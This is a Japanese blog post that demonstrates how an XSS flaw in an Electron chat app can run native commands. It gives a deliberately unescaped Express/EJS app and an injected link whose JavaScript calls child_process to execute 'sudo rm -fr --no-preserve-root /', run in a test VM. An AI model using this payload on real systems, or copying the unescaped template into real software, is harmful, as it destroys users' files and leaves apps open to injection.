JavaScript
Node.js
xss
Electron

ElectronアプリのXSSでrm -fr /を実行する

More than 2 years have passed since last update.

Electronアプリでxssを発生させると任意のコードが実行できるらしいのでrm -fr /を試してみます。

想定

web版とelectron版のあるチャットアプリケーションという設定です。攻撃者が用意したリンクをクリックすると、PC内のすべてのファイルを消し去るというシチュエーションを考えてみます。

用意

環境はホストmac OSX、ゲストにubuntu14.04環境をvagrantを利用し用意しました。

expressでリストとフォームからなる脆弱性のあるチャットをつくります。エスケープ処理をしてないので、任意のコードが実行できる状況です。

server.js
'use strict';
const path = require('path');
const express = require('express');
const app = express();
const ejs = require('ejs');

app.engine('ejs', ejs.renderFile);
app.set('views', path.join(__dirname, 'views'));

const messages = ['hello', 'world'];

app.get('/', (req, res) => {
    res.render('index.ejs', {
        messages
    });
});

app.get('/post', (req, res) => {
    const {message} = req.query;
    if (message) {
        messages.push(message);
    }
    res.redirect('/');
});

app.listen(3000, () => {
    console.log('Example app listening on port 3000!');
});

<%= %>ではなく<%- %>を使うことでエスケープ処理を行わないようにしてます。

index.ejs
<!DOCTYPE html>
<html>
<head>
    <title>XSS</title>
</head>
<body>
    <form method="get" action="/post">
        <textarea name="message" cols="50" rows="7"></textarea>
        <input type="submit" />
    </form>
    <ul class="message--list">
        <% for(let msg of messages) { %>
            <li><%- msg %></li>
        <% } %>
    </ul>
</body>
</html>

さて、非常に簡易的ですが、上記のコードをElectronに組み込みます。

index.js
'use strict';
const electron = require('electron');
require('./server');
const {app} = electron;

let mainWindow;

function onClosed() {
    mainWindow = null;
}

function createMainWindow() {
    const win = new electron.BrowserWindow({
        width: 600,
        height: 400
    });

    win.loadURL(`http://127.0.0.1:3000`);
    win.on('closed', onClosed);

    return win;
}

app.on('window-all-closed', () => {
    if (process.platform !== 'darwin') {
        app.quit();
    }
});

app.on('activate', () => {
    if (!mainWindow) {
        mainWindow = createMainWindow();
    }
});

app.on('ready', () => {
    mainWindow = createMainWindow();
});

フォームとリストからなる簡易的なチャットアプリができました。

スクリーンショット 2016-05-21 09.28.42.png

実行

ubutnu14.04の仮想環境を用意してrm -fr /が実行されるのか試してみます。
フォームに以下の内容で投稿してみます。

<a href="javascript:
(() => {
    const {execSync} = require('child_process');
    execSync('sudo rm -fr --no-preserve-root /', {encoding: 'utf8'});
})();
">CLICK ME</a>

child_processを使えば任意のコマンドが実行できるので、rm -frを実行させます。これで、リンクをクリックするとPCが死にます。さよなら!

スクリーンショット 2016-05-21 09.57.30.png

死にました。

スクリーンショット 2016-05-21 19.14.49.png

ワンクリックですべてが吹き飛ぶの最高ですね。gifを撮り忘れたのが心残りです。

参考

以下のリンクがElectronにおけるセキュリティ対策について詳しくまとまっています。

electronの倒し方

まとめ

Electronアプリに脆弱性があるとwebにおける被害より、クリティカルな被害がでることが確認できました。

一応githubに今回試した脆弱性アプリを置いておいたので、試したい人はどうぞ。